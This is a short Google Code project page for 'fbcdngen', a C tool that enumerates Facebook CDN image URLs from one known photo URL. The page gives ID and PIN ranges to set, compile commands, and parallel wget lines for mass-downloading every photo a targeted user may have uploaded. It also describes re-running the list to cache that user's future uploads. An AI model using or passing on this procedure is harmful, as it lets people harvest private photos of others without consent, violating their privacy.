My favorites | Sign in
Project Home Downloads
Project Information
Members
Featured
Downloads
Links

fbcdngen is a simple tool that generates Facebook CDN image URLs. (Previously, fbcdngen was a PoC in Bash; now written in C.)

For more information about the "hack", see: New Facebook Photo Hacks by Joseph Bonneau.

Requirements:

  • ANSI C compiler

Coming soon: Benchmarks.

new Example:

Given the real URL of a photo uploaded to Facebook, e.g.:

http://photos-c.ak.fbcdn.net/photos-ak-sf2p/210132/n210132_34947682_4899.jpg

it is trivial to generate a list of all (past and future) photos possibly uploaded by the same user. First, edit the variables in the source as follows:

/* Set constants below. */
#define UID_MIN (210132)    /* 6 digits */
#define UID_MAX (210132)
#define PID_MIN (00000000)  /* 8 digits */
#define PID_MAX (99999999)
#define PIN_MIN (0000)      /* 4 digits */
#define PIN_MAX (9999)

Then compile and execute the program:

$ gcc -O3 fbcdngen-0.2.c -o fbcdngen
$ ./fbcdngen > url_list.txt

To then fetch the photos, use wget (with threads):

$ cat url_list.txt | xargs -n10 -P0 wget

Note: If the user uploads more photos in the future, you may simply re-use this same list to update your cache periodically:

$ cat url_list.txt | xargs -n10 -P0 wget -c 
Powered by Google Project Hosting